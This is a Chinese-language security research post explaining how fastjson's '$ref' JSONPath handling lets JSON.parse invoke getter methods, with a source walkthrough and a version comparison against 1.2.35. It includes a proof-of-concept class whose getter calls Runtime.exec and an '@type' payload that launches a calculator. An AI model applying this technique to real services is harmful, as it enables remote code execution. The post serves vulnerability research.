写在前面
平时我们在处理fastjson反序列化的时候,如果我们想要执行属性的get
方法,而如果只有JSON.parse
怎么办
我们知道JSON.parse
可以套一层parseObject
实现对get
方法的调用,但说这个也没有必要继续本篇的介绍了,这里介绍另一种,废话不多说开始分析
JSONPath语法
看文档https://goessner.net/articles/JsonPath/,重点关注下这个
利用演示
人比较不老实,喜欢骚东西,这里执行下命令
public class Test {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
触发
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
最爱的计算器
$ref引用触发get方法分析
简简单单引入依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.36</version>
</dependency>
老规矩拉到底,看看调用栈再分析
跟进handleResovleTask
函数
获取$ref
至于如果你问在哪里设置的在DefaultJSONParser#parse()
ok,不说废话,继续看下去,满足条件跟进
这里面没有返回null
接下来重点来了,我们看看JSONPath.eval
函数干了什么
跟进compile
根据path
生成并返回一个JavaPath
对象
继续看看eval
这里有一个init
函数执行
我们重点关注这个explain
函数,把$ref
的value
解析成Segment
,这个Segment
是定义在JSONPath
类的一个接口,具体看他的过程
这里初始化长度是8很好奇吗
因为实现segment
接口的类只有八个
ok,继续看看这个readSegement
,获取.
后面的值
这里通过readName
获取到cmd
内部实现靠循环追加到StringBuilder
后面
后面通过浅拷贝赋值返回
接下来按顺序执行前面explain
生成的Segment array
跟进JSONPath.getPropertyValue
继续跟进
跟进
后面就是用反射调用get
方法了
分析完毕
解释为什么1.2.36前的版本不行
我们知道关键在于JSONPath.eval
方法的调用
我们来对比一下,前为1.2.36版本,后为1.2.35版本
限制了refValue
的值不能为null
,并且必须是JSONObject
对象,那就结束了